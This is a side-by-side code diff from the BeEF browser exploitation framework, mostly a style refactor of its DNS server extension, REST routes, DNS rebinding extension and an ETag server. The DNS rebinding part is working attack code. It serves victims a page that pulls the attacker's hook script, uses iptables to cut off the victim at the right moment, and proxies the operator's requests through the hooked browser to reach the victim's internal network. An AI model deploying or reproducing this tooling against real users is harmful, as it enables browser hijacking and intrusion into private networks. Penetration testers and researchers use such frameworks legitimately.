if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv4) if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv4)
sprintf "t.respond!('%s')", response format "t.respond!('%s')", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym format 't.fail!(:%s)', response.to_sym
elsif response.is_a?(Array) elsif response.is_a?(Array)
str1 = "t.respond!('%s');" str1 = "t.respond!('%s');"
str2 = '' str2 = ''
response.each do |r| response.each do |r|
raise InvalidDnsResponseError, 'A' unless BeEF::Filters.is_valid_ip?(r, :ipv4) raise InvalidDnsResponseError, 'A' unless BeEF::Filters.is_valid_ip?(r, :ipv4)
str2 << sprintf(str1, r)
str2 << format(str1, r)
end end
str2 str2
@@ -67,16 +63,17 @@ module BeEF
end end
elsif resource == Resolv::DNS::Resource::IN::AAAA elsif resource == Resolv::DNS::Resource::IN::AAAA
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv6) if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv6)
sprintf "t.respond!('%s')", response format "t.respond!('%s')", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym format 't.fail!(:%s)', response.to_sym
elsif response.is_a?(Array) elsif response.is_a?(Array)
str1 = "t.respond!('%s');" str1 = "t.respond!('%s');"
str2 = '' str2 = ''
response.each do |r| response.each do |r|
raise InvalidDnsResponseError, 'AAAA' unless BeEF::Filters.is_valid_ip?(r, :ipv6) raise InvalidDnsResponseError, 'AAAA' unless BeEF::Filters.is_valid_ip?(r, :ipv6)
str2 << sprintf(str1, r)
str2 << format(str1, r)
end end
str2 str2
@@ -85,35 +82,36 @@ module BeEF
end end
elsif resource == Resolv::DNS::Resource::IN::CNAME elsif resource == Resolv::DNS::Resource::IN::CNAME
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response) if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response format "t.respond!(Resolv::DNS::Name.create('%s'))", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym format 't.fail!(:%s)', response.to_sym
else else
raise InvalidDnsResponseError, 'CNAME' raise InvalidDnsResponseError, 'CNAME'
end end
elsif resource == Resolv::DNS::Resource::IN::MX elsif resource == Resolv::DNS::Resource::IN::MX
if response[0].is_a?(Integer) && if response[0].is_a?(Integer) &&
BeEF::Filters.is_valid_domain?(response[1]) BeEF::Filters.is_valid_domain?(response[1])
data = { :preference => response[0], :exchange => response[1] } data = { preference: response[0], exchange: response[1] }
sprintf "t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))", data format "t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))", data
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym format 't.fail!(:%s)', response.to_sym
else else
raise InvalidDnsResponseError, 'MX' raise InvalidDnsResponseError, 'MX'
end end
elsif resource == Resolv::DNS::Resource::IN::NS elsif resource == Resolv::DNS::Resource::IN::NS
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response) if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response format "t.respond!(Resolv::DNS::Name.create('%s'))", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym format 't.fail!(:%s)', response.to_sym
elsif response.is_a?(Array) elsif response.is_a?(Array)
str1 = "t.respond!(Resolv::DNS::Name.create('%s'))" str1 = "t.respond!(Resolv::DNS::Name.create('%s'))"
str2 = '' str2 = ''
response.each do |r| response.each do |r|
raise InvalidDnsResponseError, 'NS' unless BeEF::Filters.is_valid_domain?(r) raise InvalidDnsResponseError, 'NS' unless BeEF::Filters.is_valid_domain?(r)
str2 << sprintf(str1, r)
str2 << format(str1, r)
end end
str2 str2
@@ -122,110 +120,100 @@ module BeEF
end end
elsif resource == Resolv::DNS::Resource::IN::PTR elsif resource == Resolv::DNS::Resource::IN::PTR
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response) if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response format "t.respond!(Resolv::DNS::Name.create('%s'))", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym format 't.fail!(:%s)', response.to_sym
else else
raise InvalidDnsResponseError, 'PTR' raise InvalidDnsResponseError, 'PTR'
end end
elsif resource == Resolv::DNS::Resource::IN::SOA elsif resource == Resolv::DNS::Resource::IN::SOA
if response.is_a?(Array) if response.is_a?(Array)
unless BeEF::Filters.is_valid_domain?(response[0]) && unless BeEF::Filters.is_valid_domain?(response[0]) &&
BeEF::Filters.is_valid_domain?(response[1]) && BeEF::Filters.is_valid_domain?(response[1]) &&
response[2].is_a?(Integer) && response[2].is_a?(Integer) &&
response[3].is_a?(Integer) && response[3].is_a?(Integer) &&
response[4].is_a?(Integer) && response[4].is_a?(Integer) &&
response[5].is_a?(Integer) && response[5].is_a?(Integer) &&
response[6].is_a?(Integer) response[6].is_a?(Integer)
raise InvalidDnsResponseError, 'SOA' raise InvalidDnsResponseError, 'SOA'
end end
data = { data = {
:mname => response[0], mname: response[0],
:rname => response[1], rname: response[1],
:serial => response[2], serial: response[2],
:refresh => response[3], refresh: response[3],
:retry => response[4], retry: response[4],
:expire => response[5], expire: response[5],
:minimum => response[6] minimum: response[6]
} }
sprintf "t.respond!(Resolv::DNS::Name.create('%<mname>s'), " + format "t.respond!(Resolv::DNS::Name.create('%<mname>s'), " +
"Resolv::DNS::Name.create('%<rname>s'), " + "Resolv::DNS::Name.create('%<rname>s'), " +
'%<serial>d, ' + '%<serial>d, ' +
'%<refresh>d, ' + '%<refresh>d, ' +
'%<retry>d, ' + '%<retry>d, ' +
'%<expire>d, ' + '%<expire>d, ' +
'%<minimum>d)', '%<minimum>d)',
data data
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym format 't.fail!(:%s)', response.to_sym
else else
raise InvalidDnsResponseError, 'SOA' raise InvalidDnsResponseError, 'SOA'
end end
elsif resource == Resolv::DNS::Resource::IN::WKS elsif resource == Resolv::DNS::Resource::IN::WKS
if response.is_a?(Array) if response.is_a?(Array)
unless BeEF::Filters.is_valid_ip?(resource[0]) && if !BeEF::Filters.is_valid_ip?(resource[0]) &&
resource[1].is_a?(Integer) && resource[1].is_a?(Integer) &&
resource[2].is_a?(Integer) resource[2].is_a?(Integer) && !resource.is_a?(String)
raise InvalidDnsResponseError, 'WKS' unless resource.is_a?(String) raise InvalidDnsResponseError, 'WKS'
end end
data = { data = {
:address => response[0], address: response[0],
:protocol => response[1], protocol: response[1],
:bitmap => response[2] bitmap: response[2]
} }
sprintf "t.respond!('%<address>s', %<protocol>d, %<bitmap>d)", data format "t.respond!('%<address>s', %<protocol>d, %<bitmap>d)", data
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym format 't.fail!(:%s)', response.to_sym
else else
raise InvalidDnsResponseError, 'WKS' raise InvalidDnsResponseError, 'WKS'
end end
else else
raise UnknownDnsResourceError raise UnknownDnsResourceError
end end
src
end end
# Raised when an invalid pattern is given. # Raised when an invalid pattern is given.
class InvalidDnsPatternError < StandardError class InvalidDnsPatternError < StandardError
DEFAULT_MESSAGE = 'Failed to add DNS rule with invalid pattern' DEFAULT_MESSAGE = 'Failed to add DNS rule with invalid pattern'
def initialize(message = nil) def initialize(message = nil)
super(message || DEFAULT_MESSAGE) super(message || DEFAULT_MESSAGE)
end end
end end
# Raised when a response is not valid for the given DNS resource record. # Raised when a response is not valid for the given DNS resource record.
class InvalidDnsResponseError < StandardError class InvalidDnsResponseError < StandardError
def initialize(message = nil) def initialize(message = nil)
str = "Failed to add DNS rule with invalid response for %s resource record", message str = 'Failed to add DNS rule with invalid response for %s resource record', message
message = sprintf str, message unless message.nil? message = format str, message unless message.nil?
super(message) super(message)
end end
end end
# Raised when an unknown DNS resource record is given. # Raised when an unknown DNS resource record is given.
class UnknownDnsResourceError < StandardError class UnknownDnsResourceError < StandardError
DEFAULT_MESSAGE = 'Failed to add DNS rule with unknown resource record' DEFAULT_MESSAGE = 'Failed to add DNS rule with unknown resource record'
def initialize(message = nil) def initialize(message = nil)
super(message || DEFAULT_MESSAGE) super(message || DEFAULT_MESSAGE)
end end
end end
end end
end end
end end
end end

View File

@@ -6,10 +6,8 @@
module BeEF module BeEF
module Extension module Extension
module Dns module Dns
# This class handles the routing of RESTful API requests that query BeEF's DNS server # This class handles the routing of RESTful API requests that query BeEF's DNS server
class DnsRest < BeEF::Core::Router::Router class DnsRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing # Filters out bad requests before performing any routing
before do before do
@dns ||= BeEF::Extension::Dns::Server.instance @dns ||= BeEF::Extension::Dns::Server.instance
@@ -27,157 +25,136 @@ module BeEF
# Returns the entire current DNS ruleset # Returns the entire current DNS ruleset
get '/ruleset' do get '/ruleset' do
begin ruleset = @dns.get_ruleset
ruleset = @dns.get_ruleset count = ruleset.length
count = ruleset.length
result = {} result = {}
result[:count] = count result[:count] = count
result[:ruleset] = ruleset result[:ruleset] = ruleset
result.to_json result.to_json
rescue StandardError => e rescue StandardError => e
print_error "Internal error while retrieving DNS ruleset (#{e.message})" print_error "Internal error while retrieving DNS ruleset (#{e.message})"
halt 500 halt 500
end
end end
# Returns a specific rule given its id # Returns a specific rule given its id
get '/rule/:id' do get '/rule/:id' do
begin id = params[:id]
id = params[:id]
rule = @dns.get_rule(id) rule = @dns.get_rule(id)
raise InvalidParamError, 'id' if rule.nil? raise InvalidParamError, 'id' if rule.nil?
halt 404 if rule.empty?
rule.to_json halt 404 if rule.empty?
rescue InvalidParamError => e
print_error e.message rule.to_json
halt 400 rescue InvalidParamError => e
rescue StandardError => e print_error e.message
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})" halt 400
halt 500 rescue StandardError => e
end print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
halt 500
end end
# Adds a new DNS rule # Adds a new DNS rule
post '/rule' do post '/rule' do
begin body = JSON.parse(request.body.read)
body = JSON.parse(request.body.read)
pattern = body['pattern'] pattern = body['pattern']
resource = body['resource'] resource = body['resource']
response = body['response'] response = body['response']
# Validate required JSON keys # Validate required JSON keys
if pattern.nil? || pattern.eql?('') raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule' if pattern.nil? || pattern.eql?('')
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule' raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' if resource !~ /\A[A-Z]+\Z/
end raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule' unless response.is_a?(Array)
if resource !~ /\A[A-Z]+\Z/ raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule' if response.empty?
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
end
unless response.is_a?(Array)
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule'
end
if response.empty?
raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule'
end
# Validate resource # Validate resource
case resource case resource
when "A" when 'A'
dns_resource = Resolv::DNS::Resource::IN::A dns_resource = Resolv::DNS::Resource::IN::A
when "AAAA" when 'AAAA'
dns_resource = Resolv::DNS::Resource::IN::AAAA dns_resource = Resolv::DNS::Resource::IN::AAAA
when "CNAME" when 'CNAME'
dns_resource = Resolv::DNS::Resource::IN::CNAME dns_resource = Resolv::DNS::Resource::IN::CNAME
when "HINFO" when 'HINFO'
dns_resource = Resolv::DNS::Resource::IN::HINFO dns_resource = Resolv::DNS::Resource::IN::HINFO
when "MINFO" when 'MINFO'
dns_resource = Resolv::DNS::Resource::IN::MINFO dns_resource = Resolv::DNS::Resource::IN::MINFO
when "MX" when 'MX'
dns_resource = Resolv::DNS::Resource::IN::MX dns_resource = Resolv::DNS::Resource::IN::MX
when "NS" when 'NS'
dns_resource = Resolv::DNS::Resource::IN::NS dns_resource = Resolv::DNS::Resource::IN::NS
when "PTR" when 'PTR'
dns_resource = Resolv::DNS::Resource::IN::PTR dns_resource = Resolv::DNS::Resource::IN::PTR
when "SOA" when 'SOA'
dns_resource = Resolv::DNS::Resource::IN::SOA dns_resource = Resolv::DNS::Resource::IN::SOA
when "TXT" when 'TXT'
dns_resource = Resolv::DNS::Resource::IN::TXT dns_resource = Resolv::DNS::Resource::IN::TXT
when "WKS" when 'WKS'
dns_resource = Resolv::DNS::Resource::IN::WKS dns_resource = Resolv::DNS::Resource::IN::WKS
else else
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
end
# Add rule
id = @dns.add_rule(
:pattern => pattern,
:resource => dns_resource,
:response => response
)
# Return result
result = {}
result['success'] = true
result['id'] = id
result.to_json
rescue InvalidJsonError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while adding DNS rule (#{e.message})"
halt 500
end end
# Add rule
id = @dns.add_rule(
pattern: pattern,
resource: dns_resource,
response: response
)
# Return result
result = {}
result['success'] = true
result['id'] = id
result.to_json
rescue InvalidJsonError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while adding DNS rule (#{e.message})"
halt 500
end end
# Removes a rule given its id # Removes a rule given its id
delete '/rule/:id' do delete '/rule/:id' do
begin id = params[:id]
id = params[:id]
removed = @dns.remove_rule!(id) removed = @dns.remove_rule!(id)
raise InvalidParamError, 'id' if removed.nil? raise InvalidParamError, 'id' if removed.nil?
result = {} result = {}
result['success'] = removed result['success'] = removed
result.to_json result.to_json
rescue InvalidParamError => e rescue InvalidParamError => e
print_error e.message print_error e.message
halt 400 halt 400
rescue StandardError => e rescue StandardError => e
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})" print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
halt 500 halt 500
end
end end
# Raised when invalid JSON input is passed to an /api/dns handler. # Raised when invalid JSON input is passed to an /api/dns handler.
class InvalidJsonError < StandardError class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler' DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
def initialize(message = nil) def initialize(message = nil)
super(message || DEFAULT_MESSAGE) super(message || DEFAULT_MESSAGE)
end end
end end
# Raised when an invalid named parameter is passed to an /api/dns handler. # Raised when an invalid named parameter is passed to an /api/dns handler.
class InvalidParamError < StandardError class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler' DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
def initialize(message = nil) def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/dns handler" str = 'Invalid "%s" parameter passed to /api/dns handler'
message = sprintf str, message unless message.nil? message = format str, message unless message.nil?
super(message) super(message)
end end
end end
end end
end end
end end
end end

View File

@@ -1,28 +1,25 @@
module BeEF module BeEF
module Extension module Extension
module DNSRebinding module DNSRebinding
module API module API
module ServHandler
module ServHandler BeEF::API::Registrar.instance.register(
BeEF::Extension::DNSRebinding::API::ServHandler,
BeEF::API::Registrar.instance.register( BeEF::API::Server,
BeEF::Extension::DNSRebinding::API::ServHandler, 'pre_http_start'
BeEF::API::Server, )
'pre_http_start'
)
def self.pre_http_start(http_hook_server)
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
address_http = config['address_http_internal']
address_proxy = config['address_proxy_internal']
port_http = config['port_http']
port_proxy = config['port_proxy']
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
end
def self.pre_http_start(_http_hook_server)
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
address_http = config['address_http_internal']
address_proxy = config['address_proxy_internal']
port_http = config['port_http']
port_proxy = config['port_proxy']
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
end
end
end
end end
end end
end
end
end end

View File

@@ -1,230 +1,225 @@
module BeEF module BeEF
module Extension module Extension
module DNSRebinding module DNSRebinding
#Very simple HTTP server. Its task is only hook victim # Very simple HTTP server. Its task is only hook victim
class Server class Server
@debug_mode = false @debug_mode = false
def self.log(msg) def self.log(msg)
if @debug_mode warn msg.to_s if @debug_mode
STDERR.puts msg.to_s
end
end end
def self.run_server(address, port) def self.run_server(address, port)
server = TCPServer.new(address, port) server = TCPServer.new(address, port)
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode") @debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
loop do loop do
s = server.accept s = server.accept
Thread.new(s) do |socket| Thread.new(s) do |socket|
victim_ip = socket.peeraddr[2].to_s victim_ip = socket.peeraddr[2].to_s
log "-------------------------------\n" log "-------------------------------\n"
log "[Server] Incoming request from "+victim_ip+"(Victim)\n" log '[Server] Incoming request from ' + victim_ip + "(Victim)\n"
response = File.read(File.expand_path('../views/index.html', __FILE__)) response = File.read(File.expand_path('views/index.html', __dir__))
configuration = BeEF::Core::Configuration.instance configuration = BeEF::Core::Configuration.instance
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http" proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
hook_file = configuration.get("beef.http.hook_file") hook_file = configuration.get('beef.http.hook_file')
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}" hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"
response.sub!('path_to_hookjs_template', hook_uri)
start_string = socket.gets response.sub!('path_to_hookjs_template', hook_uri)
socket.print "HTTP/1.1 200 OK\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: #{response.bytesize}\r\n" +
"Connection: close\r\n"
socket.print "\r\n"
socket.print response
socket.close
#Indicate that victim load all javascript and we can block it with iptables. start_string = socket.gets
dr_config = configuration.get("beef.extension.dns_rebinding") socket.print "HTTP/1.1 200 OK\r\n" +
if start_string.include?("load") "Content-Type: text/html\r\n" +
log "[Server] Block with iptables\n" "Content-Length: #{response.bytesize}\r\n" +
port_http = dr_config['port_http'] "Connection: close\r\n"
if BeEF::Filters::is_valid_ip?(victim_ip) && port_http.kind_of?(Integer) socket.print "\r\n"
IO.popen(["iptables","-A","INPUT","-s","#{victim_ip}","-p","tcp","--dport","#{port_http}","-j","REJECT","--reject-with","tcp-reset"], 'r+'){|io|} socket.print response
else socket.close
print_error "[Dns_Rebinding] victim_ip or port_http values are illegal."
end # Indicate that victim load all javascript and we can block it with iptables.
end dr_config = configuration.get('beef.extension.dns_rebinding')
log "-------------------------------\n" if start_string.include?('load')
log "[Server] Block with iptables\n"
port_http = dr_config['port_http']
if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer)
IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'],
'r+') do |io|
end
else
print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.'
end end
end
log "-------------------------------\n"
end end
end end
end end
end
class Proxy class Proxy
@queries = Queue.new @queries = Queue.new
@responses = {} @responses = {}
@mutex_responses = nil @mutex_responses = nil
@mutex_queries = nil @mutex_queries = nil
@debug_mode = false @debug_mode = false
def self.send_http_response(socket, response, heads={}) def self.send_http_response(socket, response, heads = {})
socket.print "HTTP/1.1 200 OK\r\n" socket.print "HTTP/1.1 200 OK\r\n"
headers = {} headers = {}
headers["Content-Type"]="text/html" headers['Content-Type'] = 'text/html'
headers["Content-Length"]=response.size.to_s headers['Content-Length'] = response.size.to_s
headers["Connection"]="close" headers['Connection'] = 'close'
headers["Access-Control-Allow-Origin"]="*" headers['Access-Control-Allow-Origin'] = '*'
headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS" headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'
headers["Access-Control-Expose-Headers"]="Content-Type, method, path" headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path'
headers["Access-Control-Allow-Headers"]="Content-Type, method, path" headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path'
headers_a = heads.to_a headers_a = heads.to_a
headers_a.each do |header, value| headers_a.each do |header, value|
headers[header] = value headers[header] = value
end end
headers.to_a.each do |header, value| headers.to_a.each do |header, value|
socket.print header+": "+value+"\r\n" socket.print header + ': ' + value + "\r\n"
end end
socket.print "\r\n" socket.print "\r\n"
socket.print response socket.print response
end end
def self.log(log_message) def self.log(log_message)
if @debug_mode warn log_message if @debug_mode
STDERR.puts log_message
end
end end
def self.read_http_message(socket) def self.read_http_message(socket)
message = {} message = {}
message['start_string'] = socket.gets.chomp message['start_string'] = socket.gets.chomp
message['headers'] = {} message['headers'] = {}
message['response'] = "" message['response'] = ''
c = socket.gets
while c != "\r\n"
name = c[/(.+): (.+)/, 1]
value = c[/(.+): (.+)/, 2]
message['headers'][name] = value.chomp
c = socket.gets c = socket.gets
while c != "\r\n" do end
name = c[/(.+): (.+)/, 1] length = message['headers']['Content-Length']
value = c[/(.+): (.+)/, 2] if length
message['headers'][name] = value.chomp # Ruby read() doesn't return while not read all <length> byte
c = socket.gets resp = socket.read(length.to_i)
end message['response'] = resp
length = message['headers']['Content-Length'] end
if length message
#Ruby read() doesn't return while not read all <length> byte
resp = socket.read(length.to_i)
message['response'] = resp
end
return message
end end
def self.handle_victim(socket, http_message) def self.handle_victim(socket, http_message)
log "[Victim]request from victim\n" log "[Victim]request from victim\n"
log http_message['start_string'].to_s+"\n" log http_message['start_string'].to_s + "\n"
if http_message['start_string'].include?("POST") if http_message['start_string'].include?('POST')
#Get result from POST query # Get result from POST query
log "[Victim]Get the result of last query\n" log "[Victim]Get the result of last query\n"
#Read query on which asked victim # Read query on which asked victim
query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2] query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2]
log "[Victim]asked path: "+query+"\n" log '[Victim]asked path: ' + query + "\n"
length = http_message['headers']['Content-Length'].to_i length = http_message['headers']['Content-Length'].to_i
content_type = http_message['headers']['Content-Type'] content_type = http_message['headers']['Content-Type']
log "[Victim]Content-type: "+content_type.to_s+"\n" log '[Victim]Content-type: ' + content_type.to_s + "\n"
log "[Vicitm]Length: "+length.to_s+"\n" log '[Vicitm]Length: ' + length.to_s + "\n"
response = http_message['response']
log "[Victim]Get content!\n"
send_http_response(socket, "ok") response = http_message['response']
socket.close log "[Victim]Get content!\n"
log "[Victim]Close connection POST\n" send_http_response(socket, 'ok')
log "--------------------------------\n" socket.close
@mutex_responses.lock log "[Victim]Close connection POST\n"
@responses[query] = [content_type, response] log "--------------------------------\n"
@mutex_responses.unlock
elsif http_message['start_string'].include?("OPTIONS")
send_http_response(socket, "")
socket.close
log "[Victim]Respond on OPTIONS reques\n"
log "--------------------------------\n"
else
#Look for queues from beef owner
log "[Victim]Waiting for next query..\n"
while @queries.size == 0
end
#Get the last query
@mutex_queries.lock
log "[Victim]Get the last query\n"
last_query = @queries.pop
log "[Victim]Last query:"+last_query.to_s+"\n"
@mutex_queries.unlock
response = last_query[2]
send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]})
log "[Victim]Send next query to victim's browser\n"
log "---------------------------------------------\n"
socket.close
end
end
#Handle request from BeEF owner
def self.handle_owner(socket, http_message)
log "[Owner]Request from owner\n"
path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2]
if http_message['start_string'].include?("GET")
if path != nil
log "[Owner]Need path: "+path+"\n"
@queries.push(['GET', path, ''])
end
elsif http_message['start_string'].include?("POST")
log "[Owner]Get POST request\n"
if path != nil
@queries.push(['POST', path, http_message['response']])
end
end
#Waiting for response, this check should not conflict with thread 2
while @responses[path] == nil
end
@mutex_responses.lock @mutex_responses.lock
log "[Owner]Get the response\n" @responses[query] = [content_type, response]
response_a = @responses[path]
@mutex_responses.unlock @mutex_responses.unlock
elsif http_message['start_string'].include?('OPTIONS')
response = response_a[1] send_http_response(socket, '')
content_type = response_a[0]
send_http_response(socket, response, {'Content-Type'=>content_type})
log "[Owner]Send response to owner\n"
log "-------------------------------\n"
socket.close socket.close
log "[Victim]Respond on OPTIONS reques\n"
log "--------------------------------\n"
else
# Look for queues from beef owner
log "[Victim]Waiting for next query..\n"
while @queries.size == 0
end
# Get the last query
@mutex_queries.lock
log "[Victim]Get the last query\n"
last_query = @queries.pop
log '[Victim]Last query:' + last_query.to_s + "\n"
@mutex_queries.unlock
response = last_query[2]
send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] })
log "[Victim]Send next query to victim's browser\n"
log "---------------------------------------------\n"
socket.close
end
end
# Handle request from BeEF owner
def self.handle_owner(socket, http_message)
log "[Owner]Request from owner\n"
path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2]
if http_message['start_string'].include?('GET')
unless path.nil?
log '[Owner]Need path: ' + path + "\n"
@queries.push(['GET', path, ''])
end
elsif http_message['start_string'].include?('POST')
log "[Owner]Get POST request\n"
@queries.push(['POST', path, http_message['response']]) unless path.nil?
end
# Waiting for response, this check should not conflict with thread 2
while @responses[path].nil?
end
@mutex_responses.lock
log "[Owner]Get the response\n"
response_a = @responses[path]
@mutex_responses.unlock
response = response_a[1]
content_type = response_a[0]
send_http_response(socket, response, { 'Content-Type' => content_type })
log "[Owner]Send response to owner\n"
log "-------------------------------\n"
socket.close
end end
def self.run_server(address, port) def self.run_server(address, port)
@server = TCPServer.new(address, port) @server = TCPServer.new(address, port)
@mutex_responses = Mutex.new @mutex_responses = Mutex.new
@mutex_queries = Mutex.new @mutex_queries = Mutex.new
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode") @debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
loop do loop do
s = @server.accept s = @server.accept
Thread.new(s) do |socket| Thread.new(s) do |socket|
http_message = read_http_message(socket) http_message = read_http_message(socket)
if http_message['start_string'].include?("from_victim") if http_message['start_string'].include?('from_victim')
handle_victim(socket, http_message) handle_victim(socket, http_message)
else else
handle_owner(socket, http_message) handle_owner(socket, http_message)
end end
end
end end
end
end end
end
end end
end
end
end
end end

View File

@@ -1,16 +1,14 @@
module BeEF module BeEF
module Extension module Extension
module DNSRebinding module DNSRebinding
extend BeEF::API::Extension
extend BeEF::API::Extension @short_name = 'DNS Rebinding'
@full_name = 'DNS Rebinding'
@short_name = 'DNS Rebinding' @description = 'DNS Rebinding extension'
@full_name = 'DNS Rebinding' end
@description = 'DNS Rebinding extension' end
end
end
end end
require 'extensions/dns_rebinding/api.rb' require 'extensions/dns_rebinding/api'
require 'extensions/dns_rebinding/dns_rebinding.rb' require 'extensions/dns_rebinding/dns_rebinding'

View File

@@ -4,25 +4,22 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module ETag module ETag
module API module API
module ETagHandler
module ETagHandler BeEF::API::Registrar.instance.register(
BeEF::API::Registrar.instance.register(
BeEF::Extension::ETag::API::ETagHandler, BeEF::Extension::ETag::API::ETagHandler,
BeEF::API::Server, BeEF::API::Server,
'mount_handler' 'mount_handler'
) )
def self.mount_handler(beef_server) def self.mount_handler(beef_server)
beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!) beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)
print_info "ETag Server: /etag" print_info 'ETag Server: /etag'
end
end
end
end end
end end
end
end
end
end end

View File

@@ -4,60 +4,58 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module ETag module ETag
require 'sinatra/base'
require 'singleton'
require 'sinatra/base' class ETagMessages
require 'singleton'
class ETagMessages
include Singleton include Singleton
attr_accessor :messages attr_accessor :messages
def initialize() def initialize
@messages={} @messages = {}
end end
end end
class ETagWebServer < Sinatra::Base class ETagWebServer < Sinatra::Base
def create_ET_header def create_ET_header
inode = File.stat(__FILE__).ino inode = File.stat(__FILE__).ino
size = 3 size = 3
mtime = (Time.now.to_f * 1000000).to_i mtime = (Time.now.to_f * 1_000_000).to_i
